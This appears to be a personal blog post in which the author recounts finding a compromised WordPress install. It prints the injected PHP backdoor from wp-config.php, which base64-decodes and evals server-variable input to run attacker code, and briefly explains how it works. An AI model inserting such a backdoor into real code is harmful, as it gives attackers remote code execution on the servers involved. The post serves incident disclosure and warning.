sean's place

Well, an update worth its salt

(turns out I have something technical to blog about, after all.)

Well, I haven’t played with WordPress for a while and it turns out I was a few point-releases back. But, I digress.

When I was writing the last post, I noticed that there was some funny syntax at the end of the Permalink. Actually, it said something like base64_encode and $_SERVER["HTTP_EXECCODE"]. For some reason, I saw these and ignored them (in fact, I mentally chalked them up to a weirdness in Safari on Snow Leopard).

I had a bit of dinner, then my brain turned on. I was looking at PHP that got included inline into markup; this was not a browser bug.

After some investigation, I found a spurious new function added to my wp-config.php (below). This, combined with the update to my Permalink format, suggested server (or application) compromise. The offending code (pretty-printed for readability):

function gpc_4663($l4665) {
  if (is_array($l4665)) {
    foreach($l4665 as $l4663 => $l4664)
      $l4665[$l4663] = gpc_4663($l4664);
   } else if (is_string($l4665) && substr($l4665,0,4)=="____") {
     eval(base64_decode(substr($l4665,4)));
     $l4665=null;
   }

   return $l4665;
}

if(empty($_SERVER))
  $_SERVER = $HTTP_SERVER_VARS;

array_map("gpc_4663",$_SERVER);

Arbitrary code injection — through query parameter, no less. Someone could simply go to any page including this file (which is any database-accessing page) and add a Base64-encoded string with code for the PHP interpreter to execute. Great.

I think the worst thing about this compromise is that I have no idea how the attacker did it.

As I said before, I was a few point releases behind on my WordPress installation. Unfortunately, if this was a known attack, I have no way of knowing it. The folks over at WordPress are seemingly tight-lipped as to the nature of their security updates, so if you’ve been compromised along a vector they’ve since fixed, you’re in the dark. Now I’m just wondering if I still have a big open hole in my WordPress installation.

As for the loss of data, my post-incident analysis reveals that the compromiser got nothing. Whew.

Oh well. If you run WordPress, check your installs.